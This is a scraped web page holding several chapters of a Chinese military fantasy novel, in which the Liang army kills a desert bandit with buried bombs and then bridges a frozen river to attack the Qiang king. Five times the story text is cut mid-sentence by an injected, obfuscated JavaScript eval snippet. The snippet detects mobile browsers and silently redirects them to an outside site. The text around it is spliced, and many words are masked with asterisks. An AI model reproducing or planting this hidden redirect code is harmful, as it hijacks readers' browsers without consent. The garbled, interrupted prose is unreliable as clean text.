"不能别轻敌。"马山皱眉"我亲眼与那家伙交过手动作很快其''遁地术''神出鬼没当万分谨慎。" “马山兄弟提醒的是。” 萨武微微抬手做了个下压的手势骑兵步伐更轻更慢。 队伍再次起程马蹄陷入细沙发出轻微的咯吱声。 月光如水将沙漠照得如同银色的海洋。 远处时不时传来胡狼的嚎叫随即是某种鸟类扑棱棱飞起的声音。 “等一下!” 鸣吉突然抬手整个队伍瞬间凝固。 鸣吉耳朵动了动指向东北方向。 那边月光下 "绕不过去得干掉他们。" 萨武偏头看向马山拍了拍马鞍上的硬弓问道:“两箭齐发不能保险我们一人盯准一个你行不行?” “笑话。”马山熟练取下马鞍硬弓“昔年我就是单臂开了一石硬弓才被王上召进故人庄的我不行?没人行。” 萨武呵呵一笑“我能开一石半。” 马山咧了咧嘴“我咬咬牙也能行。” “那就比一比谁先射中猎物。” 二人同时搭箭上弦同时拉满硬弓同时发出“砰砰砰……”紧绷声同时瞄准那两个巡逻的沙匪。 “放!” “嘭!” “嗖!” 令声与箭鸣同响! 两支飞箭穿梭夜空如同隐匿坠落的流星几乎同时精准地钉入两名巡逻沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001695|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匪的咽喉! 两个沙匪无声地倒下连惨叫都来不及发出。 “平手。” 萨武与马山相视一笑收弓跨回马鞍。 萨武招了招手队伍继续前进沙丘逐渐变得平缓空气中开始有了一丝潮湿的气息——绿洲不远了。 当他们爬上最后一道沙梁时眼前的景象让所有人屏住了呼吸。 月光下一片广阔的胡杨林如同黑色的屏障环绕着中央的水源。 林中隐约可见火光闪烁沙匪的营地就在那里。 更令人心惊的是沙地上遍布着不 自然的痕迹——蛇形蜿蜒的沟壑,像是有什么东西曾在沙下穿行。 "那就是沙里飞''遁地''的痕迹,"鸣吉的声音有些颤抖,"都传闻沙里飞不是人.他是沙里的土地神……" “嗤……凉国神火,专炸一切牛鬼蛇神!” "布置雷火弹,徐先生特意交代过,绊线要埋在半尺深的沙里,引信不能受潮。" "重点埋在沟壑交叉处,留中间一条位置出来,好让骑兵通行,两百骑分成两队,马山兄弟你带人从东侧突袭,我走西侧。” “记住,沙里飞必须死在雷火弹阵中,绝不能让他逃入胡杨林。" 同行的三十名工兵无声散开,开始小心翼翼地在沙洲外围,埋设雷火弹与引线。 渐渐,月亮西沉。 沙漠的温度降得更低,似乎连风都识趣地停了。 “二位将军,雷火弹已全部埋好!” 工兵卒长竖起大拇指,朝匍匐在沙脊后的萨武等人招了招手。 萨武深吸一口气,“上马!” 豹骑黑甲,单身上马。 众甲纷纷拔出佩刀,刀身在月芒下泛着冷光,犹如沙漠夜晚般无情。 “呱呱呱……” 一只大雁从夜空中掠过, 似乎每一场杀戮到来,都有大雁掠过。 然而,雁过不留痕,人过血染沙! 萨武举起手,猛地挥下。 “大凉豹骑,冲锋!” 两百名骑兵如同决堤洪水,踏着温柔月光冲向绿洲。 第一百八十九章 装神弄鬼,全部伏诛! “什么人!” “还什么人?自然是要你们命的人!” 豹骑一等一的精兵居高临下占据优势自冲进绿洲那便是单方面的**! 呼啸之间已有十几个沙匪倒在血泊之中! “给我杀!给我炸!敢伤吾王!一个不留!” “轰隆!” 震天雷被投进屋舍炸得木屑横飞硝烟四起! “官兵来啦!官兵来啦!” “啊!” 沙匪们从帐篷里跌跌撞撞地冲出来有的连裤子都没穿好就被长矛捅穿了胸膛。 鸣吉不知何时爬上了一棵胡杨树像只老猴子般蹲在树杈上看着绿洲里的**惊恐中不停吞咽口水。 还好今天早上族长向凉王服软了不然…… 突然! "沙里飞!" 鸣吉摇晃着树枝突然尖叫起来"地上!他……他来了!" 话音刚落! 萨武只觉得马身突然一软多年沙场历练的本能勒住马缰绳。 “驾!” 战马一跃而起的刹那原先站立的位置沙粒如同流水般下陷形成一个诡异的漩涡。 一道黑影从沙中暴起带起漫天黄沙月光下萨武只来得及看见一抹弯刀的寒光。 “噗呲!” 弯刀**马腹部内脏哗啦一声洒在沙地上就在坠马的那一刻萨武踩着马背借力凌空转了一圈安稳落在地上。 然而就在落地瞬间弯刀扑面而来! “滚开!” 萨武怒吼挥刀一震将沙里飞震飞了出去。 沙里飞速度很快 沙里飞像一只**般匍匐在地手里一把弯刀嘴上还含着一把! “原来你这鸟厮长这样!”马山领着十几骑兵火速围了上来。 沙里飞身材矮小精瘦得像根枯枝全身裹在脏得看不出颜色的布条里皮肤布满皲裂的纹路像极了一条盘在沙里的蝰蛇。 “凉狗……滚出河西……”沙里飞连声音都是沙哑的。 “嗤死到临头了还嘴硬……乱箭齐发!” 十几柄硬弓齐刷刷对准沙里飞然而就在飞箭射出的瞬间。 沙里飞突然一个猛子扎进沙中就像鱼儿入水快速移动微微隆起一道沙痕迅速冲向唯一坠马的萨武! 萨武撤步保持匀速后退眼睛死死盯着那道沙痕近了更近了. 他 能听到沙粒流动的细微声响,甚至闻到沙里飞身上的臭味儿! “呸!装神弄鬼!” 萨武不再后退,跳起来一刀,刀锋向下,狠狠插入那沙痕。 “噗呲!” 一定是刺进了肉体! “滚出来!” 萨武挑刀,撩起沙粒,沙里飞竟抱着刀刃一同飞出,但他嘴里还有一把短刀! 沙里飞扭头用脖颈发力,口刀径直咬向萨武! 萨武避之不及,索性……空手接白刃! 肉掌揪住沙里飞的口刀,鲜血从掌间滴落,随后撤掉出左手,一拳头砸在沙里飞的脸颊上! “噗呲!” 口刀与碎牙齐飞! 沙里飞仰头摔出去四五丈,在地上滚了五六圈,再次钻入沙地。 这次他的移动轨迹变得飘忽不定,时左时右,根本无法预判。 众骑兵下马,用刀预判穿刺,不停往沙地里扎。 “歘!歘!歘!” 在刀刃的刺破下,沙痕开始向沙洲外围移动。 马山与萨武相视一笑,大鱼就要入网了。 骑兵们便拿着刀与长矛,宛如赶鸭子一般,将沙里飞往绿洲外的沙漠中驱赶。 “停!” 萨武振臂高呼,勒令骑兵们停下。 前方已是雷区,地面上的人知道,然而沙地里的人仍在飞驰。 萨武与马山抱着胳膊,摆出一副看好戏的姿态。 沙里飞心中纳闷了,为何身后的追击突然停了? 他小心翼翼顶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001696|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开钻出沙土,却感觉头上似乎有跟丝线, “这是……什么东西……” 他下意识用手往投上一拨,铜丝? 接着只听“咯噔”一声,拌线摩擦引火石,雷火弹瞬间**! “轰隆!” 一道火光直冲天际,黄沙四处飘散,沙里飞宛如“萝卜”一般从地里连根拔起! 然而一声未完,其它雷火弹接连被引爆,“轰隆!轰隆!轰隆隆……” 几十声**串起,像是在沙地中放了一场烟花秀。 沙里飞自打被第一杯雷火弹炸飞,接下来小半刻钟就没下过地。 沙里飞彻彻底底变成了“空中飞人”。 直到**声停止,沙里飞才跌落在地,躯干已被炸残,连个全尸都没能留下。 **过后的沙地,除了几十个坑洞外,地底纵横交错的隧道也显露而出。 原来哪里有什么“遁地术”,其实早已事先挖了隧道,只不过沙里飞身材矮小且记住了点位,所以才造成他会在地底穿行的假象。 “将军,沙匪已全部伏诛!” “将值钱的物资收缴,尸体就不用管了,秃鹫自然会来打扫战场……收兵,回城!” 半个时辰后。 两百骑兵戴上面罩,裹好披风,带着匪窝里的物资,逆着惨白的月光,几阵马蹄飞驰,就此消失在风沙黑夜之中。 黎明破晓时分。 豹骑回到武威。 “王上,沙里飞已毙,这是末将在他住所内发现的信件。” 萨武步入大帐,递过一沓书信,“您猜得果然没错,这厮并非普通沙匪,而是接受了羌王李天昊的招安,那日对您的刺杀也是李天昊一手策划。” “有趣。” 陆云川接过信封扫了一眼,转手便扔进了火盆,“看来能当一国之主,都绝非等闲之辈—— 传本王军令,全军休整三日。 三日之后,兵发弱水。” “是!” 第一百九十章 弱水对峙 天启二年二月二十四。 八万凉军开拔向西北张掖推进。 十日之后兵锋距张掖尚不过三十里一股刺骨的寒意骤然加剧。 空气中的水汽似乎都被冻成了细微的冰晶每一次呼吸都带着火辣辣的刺痛。 眼前的景象也陡然改变不再是单调的枯黄戈壁一条浑浊湍急却表面浮着厚厚冰层的河流拦住了去路——弱水。 河面并非全然封冻河水裹挟着大小不一的碎冰冲撞在冻结的河岸边缘发出轰隆闷响。 而在河岸对面一条由沙土做基 河塘上插着“羌”字大旗一列列全副武装的羌兵驻守塘上与凉军隔河对望。 虽有大河相隔但彼此气氛紧张。 “王上。” 刘马来到陆云川近前手中捧着一大块刚刚从河面凿取的冰坨冰坨中央凝着半冻的浑浊河水冰层厚得惊人。 “经过我们探查河面冰层厚逾二尺冻得结实而河心的暗涌依旧汹涌冰壳薄脆难以承重。” 陆云川没有言语只是微微点头“不着急这几日行军兵马皆已劳累后退三里扎营对峙。” 令旗一挥大军缓缓后退在弱水东岸分扎了三个营帐。 张掖夜晚极寒洒水便可成冰因此陆云川也效仿羌军在东岸河边用河沙砌成高墙晚上再浇灌泼水。 如此一夜之间营寨便已墙高三丈。 但是作为攻伐一方粮草辎重转运困难不能进则视为败。 兵渡弱水迫在眉睫。 对峙的第二夜。 夜幕十分深沉寒风更加猖獗。 寒气如同活物拼命往铁甲缝里钻大营点燃篝火士兵们挤在一起汲取着微薄的热量呵气成霜。 中军帐内烛火通明气氛压抑。 这场仗该怎么打? 河一定要渡。 怎么渡?从哪儿渡?这才是关键。 想要弱水完全融化最起码得再等两个月造船进攻?实在太耗费时间。 只能架设浮桥。 想要架桥渡河必须同时满足两个条件第一敌方防守薄弱之处;第二河道最窄之处。 但羌军不是傻子定会在最容易架桥之处建设塔楼防止偷渡。 但弱水流域宽广再紧密的河防也会有疏漏 陆云川现在就是要找出这个漏洞用最重的拳头将它撕 开一条大裂缝! “报!” 刘马大喊着冲进帅帐,脸上带着喜悦,“找……找到……找到啦……” “不急不急!”陆云川端起一杯温好的热酒递给刘马,“气儿喘匀了再说!” 其实他比谁都着急。 刘马一口气将酒喝完,顺足了气才说道:“探得一条隐秘线索,东岸往北走十三里,弱水拐弯处,冰层下似有水声漩涡,或有一处未被冻实的渡口,那里不算最窄,羌军巡骑一般,只有两座塔楼监视!” “世昭?” 陆云川与所有人的目光都**到了陈世钊的身上,修桥铺路这种事情,只有掘子军能胜任。 “我需要安静。” 陈世钊淡淡一句,便不再多言。 而后他召来两名掘子军军官,在寒夜中点着火把,举着皮尺罗盘,在巨大的沙盘旁仔细测量,计算,在几处特定的位置插下小小的三角旗标记, 他眉头紧锁,似乎所有的精神都沉入了土石与冰水的计算之中。 陆云川生怕呼吸打扰到陈世钊,将所有人都叫到了帐外。 陆云川望向漆黑的天幕与河对岸箭楼上隐约的灯火,他没有被眼前的困局动摇—— 敌人倚仗天时地利,那便破了这天时,拆了这地利! 两刻钟后。 陈世钊走出大帐,“王上,末将已在沙盘中初步构思出一个渡河方案,但沙盘终究不能务实,还需全面勘察弱水水文,冰层厚度走向,水流湍急处,浅滩淤积处,河床质地等……” “多久?”陆云川只问两个字。 “三日即可!”陈世钊信心绝对。 “好,本王便给你三日时间,除此之外——萨武,秦鸣!” 陆云川转身,“从明日始,每日派三支千人队,轮番轰炸冲击对岸, 不去主攻冰壕,专打弱水西岸那些险要支撑点,声势要大,逼迫羌军调动,吸引其注意; 钱无命,火绳枪营暂停冰面操练,选五十名精熟射手,随陈世钊部行动,听其调遣,护卫其勘探; 刘马,你的人时刻盯着对岸,本王要羌军在那片区域的每一个塔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001697|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼、每一支巡骑的换防规律,一丝一毫不能错漏! 徐先生,你可还记得当初黑河防御战,我曾经教你制作的‘溜冰鞋’么?刀片嵌鞋底,刀片嵌木板,给本王大批量生产!” “末将遵命!” 众将齐声应答。 冰冷的月光透过薄云,洒在连绵的营帐上。 凉军大 营如同巨大的蜂巢,高速运转。 西岸河塘之上,羌军的梆子声遥遥传来,单调而警惕,一场与严寒、与坚城、与时间的赛跑,在冻透骨髓的黑夜中悄然开始! 次日一早。 按照陆云川的计划,秦鸣与萨武分早晚两波,轮流朝西岸南北两翼发起袭扰。 巨**与投石机,将重箭与石块,一批接着一批抛向西岸,死士们踩着浮冰,用临时制造的木筏向西岸冲锋。 杀伤效果虽不明显,但声势绝对浩大,羌军每天至少都要调兵迂回七八趟! 第三日。 西岸河塘之上。 羌国大旗之下,一名身披雪白狐裘,头戴宝石护额的中年男人,眺望着弱水东岸,眼中充满了傲慢与不屑。 羌王,李天昊。 “大王,这帮凉军跟疯狗似的,天天都想从侧翼破咱们的防线,您瞧,这会儿他们又要出兵了!” 一旁年近五旬的山羊胡男人,指着河对岸调动的凉军,他正是先前代表羌国出使凉国的使者尼玛。 “可笑!” 李天昊冷傲一笑,“三天以来,他们可曾踏上过一步河岸,可曾毁我防线上一块砖瓦?不过虚张声势,黔驴技穷罢了!” “哼,狂躁一个月灭我羌国?” “凉王,不过如此尔!” “那是,一个土匪发家的贼王,怎能与大王的英明神武相比?” “哈哈哈……” 李天昊狂妄的笑声,在弱水河面阵阵回荡。 河对岸。 陆云川站在瞭望塔上,静静望着对岸河塘,眼神笃定地像是在看一块即将入口的肥肉。 “王上。” 陈世钊小跑来到瞭望塔下,扬了扬手中的图纸,表情充满了兴奋。 陆云川嘴角微微上扬,他知道,兵渡弱水,时机已到。 第一百九十一章以血筑桥 中军大帐。 经过陈世钊三日的调查,弱水拐弯渡口水文皆已掌握,铺设浮桥的器械具也已准备充分。 “世钊,你领掘子军,铺设浮桥; 无命,你领穿甲军,以火绳枪掩护; 石勇,你领一万黑甲军在东岸储备,一旦浮桥架好,对方塔楼被破,便领兵渡河,快速在西岸插上一支旗; 赵猛,你领两万黑甲军,配备冰鞋,冰橇,铁钉靴,于正面冲击冰河,牵制羌国主力军,为侧翼铺设浮桥作掩护; 一旦侧翼的缺口打开,正面所有战线全部往回收拢,全军从侧翼抢滩渡河!” “末将遵命!” “最后一句。” 陆云川环看帐中众将领:“诸位皆是随本王身经百战之将,战局多变,当随机应变,待今夜胜战,本王必亲自煮酒,为诸位将军庆功洗尘!” “王上放心,今夜敌垒必破!” 众将齐声应答,慷慨决绝之声,还未开战便已通达弱水全境! …… 亥时。 夜色最沉,寒意最冽。 弱水以北十三里,拐弯处最窄河面,不过十五丈 西岸是陡峭的黄土崖壁,壁上矗立着两座坚固的双层羌军石塔楼,如同伸出的锐利眼睛,死死盯着河面。 东岸二里外,渡河部队全部集结,未点燃一根火把。 陈世钊带着五十名精锐掘子军,以及二十名水性极好的工兵; 钱无命带着五十名火绳**与一百名弓箭手,组成远程支援部队; 石勇与一万名黑甲步兵,利用盔甲颜色与黑色掩护,静悄悄蹲伏在荒原上。 “轰隆!” 一声**从正面战场传来,紧接着炸声越来越激烈,火光几乎渲染了天边一线。 “正面战斗打响了,陈将军,看你们的了!”石勇与钱无命一同将目光挪到陈世钊与掘子军士卒身上。 陈世钊深知自己任务的重要,没有多说,也没有耽搁,郑重点了点头,大手一挥:“我们走!” 掘子军精兵肩抗着数十艘生牛皮筏,背着各样式的铺桥辅料,摸黑向河岸边靠近。 弱水河岸静悄悄,寒风深夜黑漆漆。 纵使西岸设有塔楼,却并无探照灯,看不清楚东岸动作。 很快,掘子军便已来到冰河边。 陈世钊迅速趴下,耳朵贴着冰层——收集那隐隐约约传来空洞的、急促的哗啦水声。 “这边来!” 听声辨 位后,陈世钊往河边挪了十余丈,而后停下脚步。 眼前所对应的河面冰层之下,有一脉漩涡暗流,故而形成了一条不足六尺宽的不冻水缝。 “二十留在岸边,将木板看好,待骨架桥基打稳了,等我命令铺设木板!” “其他人,随我下冰封筑基!” “都给我记住了,待会儿就算掉下去,冻死也不能嚎!” “明白!” “下!” 陈世钊拖着皮筏,率先滑入冰封,掘子军精兵紧随其后! 寒彻骨髓的冰水瞬间浸透皮袄,牙齿不受控制地咯咯作响,几乎凝滞血液。 “快!”陈世钊的声音在冰壁水腔中带着颤抖的回音。 士卒们点燃特制的防水马灯,微弱的黄光勉强照亮了逼仄的空间! 头顶是犬牙交错的、半透明的幽蓝冰穹,脚下是翻滚着浮冰的黑色激流! 他们在这几乎完全封闭的水底地道中逆流而上! 暗流拍打着皮筏边缘,溅起的冰水混合着汗水糊在脸上! 刺骨的寒冷像千万根钢针扎进骨髓! 每一次摇橹划桨都需要鼓起全身的力气对抗麻木! 终于到了目标位置——距离西崖壁底部不远的地方。 这里的水势因地形挤压而稍缓,且水下似乎有巨石垫底。 浮桥怎么架? 以皮筏作为支撑,排头的皮筏打桩固定,再用绳索守卫串联,最后在筏上铺上木板固定。 目前西岸塔楼并非发现动静,但没人知道下一秒会不会有飞箭射来。 必须争分夺秒! “下桩!” 陈世钊低吼。 精兵们从皮筏上取出四根丈许长、碗口粗的木桩,前端是尖锐的倒钩与卡榫, 精兵借着微弱灯光,顶着刺骨冰流,如同攀附在绝壁上的壁虎,奋力用凿子、撬棍在湿滑的冻土壁上抠挖出支撑点,而后竭力将木桩刺入崖壁缝隙。 “邦邦邦… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001698|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 在密集的敲打声中,四根桩基深深楔入岸基。 “套绳!” 将麻绳绑上木桩倒钩,拴在皮筏两侧,一只接着一只串联。 “传话!铺板!” 这是最后一步了,只要扑上木板,便能搭出一条简易的浮桥! 很快东岸便得到了命令,负责看守木料的工兵,将一块块半丈长,五尺宽,厚达三寸的橡木板向冰缝中传递。 栈桥艰难地向对岸延伸……一尺,两尺……已经快到北岸 崖壁正下方了! 再有两三块板子,一条从冰层之下、直接沟通两岸的隐秘浮桥就将诞生! 然而就在这时! “梆!梆!梆!” 一阵极其尖锐、仿佛能撕裂耳膜的梆子声突然从头顶上方响起,那是石塔楼上值夜羌兵示警的急梆! 紧接着,崖壁上方爆发出羌语的狂吼! “有动静!” “打亮!打亮!” 一只只火把被扔了下来,匍匐在冰缝中的掘子军们,瞬间暴露无遗。 无数火把瞬间被点亮,映红了半个天空! “被发现了!” “呼!” 一块边缘尖锐、磨盘大小的石头带着恐怖的破空声从崖壁顶部猛砸下来!目标正是栈桥末端! “轰!” 巨震! 石块重重砸在刚刚铺好的木板上! 厚实的橡木板应声碎裂,狂暴的冰水如同找到了宣泄口,瞬间倒灌进栈桥内部! 一名掘子军兵士被冲击波直接抛入冰冷的河心激流,眨眼消失! “稳住!继续铺!最后一板!” 陈世钊双眼血红,厉声咆哮,亲自扑到桥头,将一块木板死死卡住断裂处! “放箭!放火箭!杀绝凉军!快快快!!!” 塔楼上响起羌兵军官疯狂的吼叫。 “嗖嗖嗖……” 密集的箭雨如同蝗虫般从陡峭的崖壁上覆盖下来! 狭窄的水道内几乎无处可避!箭矢穿透皮肉、钉入木板的恐怖声音不绝于耳! “老大小心!” 两名掘子军精兵飞身将陈世钊扑倒,以血肉之躯作盾,挡下了数十只火箭。 第一百九十二章兵渡弱水 “**营!**手! 钱无命率领一百五十名远程兵急速赶到河边,**兵在前,**手在后,呈现双重交替阵型。 “放! “啪!啪!啪! 五十杆火绳枪爆发出震耳欲聋的齐射! **燃烧的炽热气息与浓烟瞬间亮满了河边! 铁**在**的暴力推送下,带着沉闷的破风声向塔楼上轰去! “噗呲! “啊! 塔楼垛口处,两名羌兵上半身如同被无形的重锤砸中,胸口炸开一团血雾混合着皮甲碎片,惨叫着向后栽倒! “火绳枪,果然威力! 钱无命攥紧拳头。 “**!射! “火绳枪,迅速填弹,火力压制! 火绳枪射完,**手射!**手射完,火绳枪再射! 两种不同的冷热远程兵器相互配合,硬生生将敌方塔楼上的**手射得不敢矛头! “大凉黑甲! 石勇带着一万黑甲步兵,如洪流一般冲下河塘。 “盾兵掩护,十人一组,踏桥渡河! 浮桥很窄,只容得下三面大盾并排,盾兵都是强有力的壮汉,抗着塔楼上的飞箭死命往前冲,步兵则佝偻着身体躲在巨盾之后! 一盾被砸开,后继步兵持盾继续补上,就靠着一条简陋的浮桥,黑甲步兵无限逼近西岸! “凉军要登陆了! “快!放!放毒油,烧死他们! 塔楼上的羌军带着恐惧与疯狂厉声嘶吼。 崖顶羌兵用铁钩掀开几个固定在垛口上,厚铁皮包裹的沉重圆桶, 桶盖打开的瞬间,一股极其浓稠、恶臭扑鼻的黑烟迸发而出。 “倒! 羌兵倾倒毒油,顺着崖壁流入冰面,“滋滋滋……冰层接触毒油,瞬间被腐蚀烧穿。 “啊啊啊…… 刚抢滩登陆的排头兵,被毒油侵蚀得抱脸哀嚎! “**营!靠近些! 钱无命号召**营,踏上冰河前进五十步,随后亲自抓过一柄**! 瞄准塔楼上三名合力倾倒毒油的枪兵! “啪! 一声枪响,刺穿寒风。 正要倾倒滚油的其中一名羌兵被精准爆头,惨叫着向后栽倒! 沸腾的毒油倾泻在塔楼垛口与石壁上,来不及闪躲的其他羌兵被波及,在塔楼上嘶声惨叫。 “瞄准油桶! “放!” “啪!啪!啪……” 油桶被**打穿宛如花洒一般毒油淅淅沥沥喷出闪躲的枪兵乱作一团! “好啊!” “兄弟们王上有令!抢滩先登者平地升三级赏金千两!” “冲啊啊!!” 战意已经点燃热血注入脊椎要么前进要么死! 黑甲前仆后继有的甚至都不踩浮桥不管冰河是否牢固扛着云梯便往对岸冲锋! …… 彼时。 正面战场更加激烈。 赵猛带着两万步兵穿着冰鞋推着冰橇来回在正面战场滑行连续佯攻了三次。 西岸则羌军以投石机抛出巨石将冰河砸得千疮百孔。 “哼 李天昊看着声势浩大的黑甲步兵露出一脸不屑。 阵仗搞得这么大连岸边都靠近不了岂不是等于徒劳么? “凉王啊……不过如此——” “报!” 一声撕裂般的报告声传遍河塘。 一名浑身是血的羌兵跌跌撞撞跑上河塘他指着北方道:“大……大大王!大转弯的河道口突然被凉军渡河强攻守军……守军快要坚持不住了!” “什么!” 李天昊脑子一嗡一把揪住那传令的羌兵:“本王在大转弯河岸架设了两座塔楼屯了三千守军怎么可能!” “大王!千真万确啊!那凉军不知从哪儿找到了缺口当我们发现他们时已经快要将浮桥铺好……还有!他们还有一种火器又快又准又狠破盾还穿甲我们一露头便会被狙杀连烽火都点不燃啊!” “害呀!” 李天昊撒气推开传令兵俯瞰河对岸逐渐回收的凉军这才意识到自己这是中了“声东击西”之计! 正面战场不过是佯攻侧翼偷袭渡河才是主战! “快!速点三万兵马驰援大转弯!决不能让凉军登陆西岸!” …… 东岸凉军大营。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16001699|178263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“王上大拐弯传来战报石将军已率兵攻占滩头两座塔楼已被占领!” 刘马冲进帅帐禀告捷报。 陆云川却并没有喜悦自己知道了大拐弯被占的消息想必对面的李天昊也应该知道了。 羌军一定会发兵前去支援。 抢占了滩头只是第一步守住滩头才是最重要。 “让掘子军迅速扩建浮桥 ,步兵抓紧渡过弱水,以冰橇加快运送火器; 渡过黑水的士卒,以塔楼构建防御,不论羌兵如何进攻,都要死死守住滩头!” “明白!” 刘马自知军情速递,扭头脚下生风,迅速冲出了大帐。 大拐弯这边。 除了扩宽浮桥,陈世钊还在两岸拉起了五根绳索,步兵们便以绳索当做安全绳,踩着冰面渡过弱水。 为防止踩碎冰层,士兵脱掉沉重的甲胄,只穿皮甲与单兵武器。 就这样短短两刻钟不到,石勇所领的万名步兵全部渡过弱水。 挖来冻土与泥沙,用泼水法修缮塔防,甚至将羌军尸体也一并填进了防线。 两座塔楼上,火把烧得通明,穿甲军与黑甲军严阵以待。 由于**等辎重没有渡河,这次塔楼防御战,只能用最传统办法。 一刻钟后,塔楼以南,火把光芒冲天,三万羌军疾驰而来! “凉狗,速速还我塔楼!滚回凉国去!否则待本将军踏破此楼,定将你们开膛破肚,风干喂狼!” 羌军阵前,一名银甲虬髯大汉,挥舞着巨锤冲塔楼咆哮。 “敢问阁下,可是羌王李天昊?” 钱无命用通条疏了疏**,不紧不慢填充着**与**。 “笑话!夺回此楼,还需要大王亲自出马么?” 虬髯大汉叫嚣道:“尔等凉狗听好,我乃羌国铁塔军先锋乌尔丹,若识相——” “啪!” 一道**从塔楼上响起。 “当!” 余音还在回荡,**便已洞穿乌尔丹的头盔。 乌尔丹瞠目结舌,下意识伸手抹了抹额头,再看到一点血迹后,喉咙沙哑:“这……怎么……可能……” 带着惊愕,坠马而亡! 第一百九十三章开炮!!! “将……将军**!” “竖盾!竖大盾!” “快快快!” 主将乌尔丹的暴毙,使得羌军军心大乱。 匆忙在阵前竖起牛皮大盾。 其余副将与军官,生怕也被一枪斩首,赶紧翻身下马,躲在牛皮大盾后。 “大王有令,今夜必须夺回塔楼!羌国的将士们,给将军报仇!” “铁盾进军!” 副将挥刀大喊。 盾兵结成盾阵,宛如一条移动的铁壁,循序向塔楼靠近,其余羌军步兵扛着云梯,佝偻着身子躲在盾后。 “**营!放!” “**……” 火绳枪齐射,弹幕洒向铁盾。 “砰砰砰……” 铁弹打在铁盾上,虽留下凹槽却并未洞穿。 火绳枪破甲尚可,但要破铁盾,威力还是欠些火候。 “收枪,不要浪费**,清理**,重新装弹,待敌人攻城时再射!”钱无命振臂高呼。 **营退回墙垛后,积极装弹,**手则迅速补位,搭箭上弦瞄准即将靠近的敌人。 铁盾推至塔楼前不过三十丈,这个距离,应该冲锋。 “冲啊!” “先登者,赏牛羊千头!” “杀啊!!!” 铁盾分散开来,排头的羌军步兵,扛着云梯与撞门锤,向塔楼发起冲锋。 “**手!” “放!” “嗖嗖嗖……” “**营!” “放!” “**……” 箭矢与**交替射击,弹幕与箭雨相互交织,派头羌军瞬间倒下一大片。 但远程射击终究只是辅战,一轮死伤过后,羌军还是冲到了塔楼之下。 这一次羌军来得很仓促,并没有带太多攻城器械; 凉军这边也一样,各类守城辎重还没运过弱水; 这一次攻防战,双方都将用最传统的战斗方式。 羌军云梯登城,门锤撞门,凉军则用石头,冰锥,弓箭防御。 “给我砸死他们!” 但凡能用来砸人的东西,哪怕是个尿壶通通都往下扔! “顶住,大门给我顶住!” “撞开!给我将门撞开!” “咚!咚!咚……” 你撞门来我顶门。 沉重的撞击,撕裂的惨叫! 塔楼毕竟是半个时辰前才夺下的,这么短的时间根 本无法找来太多物资,攻城不到两刻钟,该扔的东西都已扔完,穿甲军的箭矢与**也已打光。 “羌军登楼了! 手提弯刀的排头兵跳上墙垛,紧接着,两个,三个……陆陆续续的羌兵前呼后继。 “凉国将士们,该刺刀见红了! “给我杀! 石勇拔出佩刀,钱无命等穿甲军拔出佩刀,冲上去肉搏血战! “呯呯嘭嘭…… 刀光剑影,金铁交鸣! 很快塔楼上便已血染腥红! 战斗进入最残酷的环节! “嘭! 塔楼大门被硬生生撞开。 “杀啊! 羌军蜂拥而入,顿时杀声一片。 羌军有三万,守军仅有一万,且这一万为了能够快速渡河,近一半都脱掉了铠甲。 人数与装备上的差距,终究还是让凉军落了下风。 然而就在凉军快要失守时—— “轰隆! 熟悉的**声从耳边响起。 还有那刺鼻的硝烟,原本最呛人的,如今每个凉国士卒闻起来却奇香无比! 来了! “大凉黑甲! 赵猛怒吼声穿过战场,黑甲寒刃盖过一切。 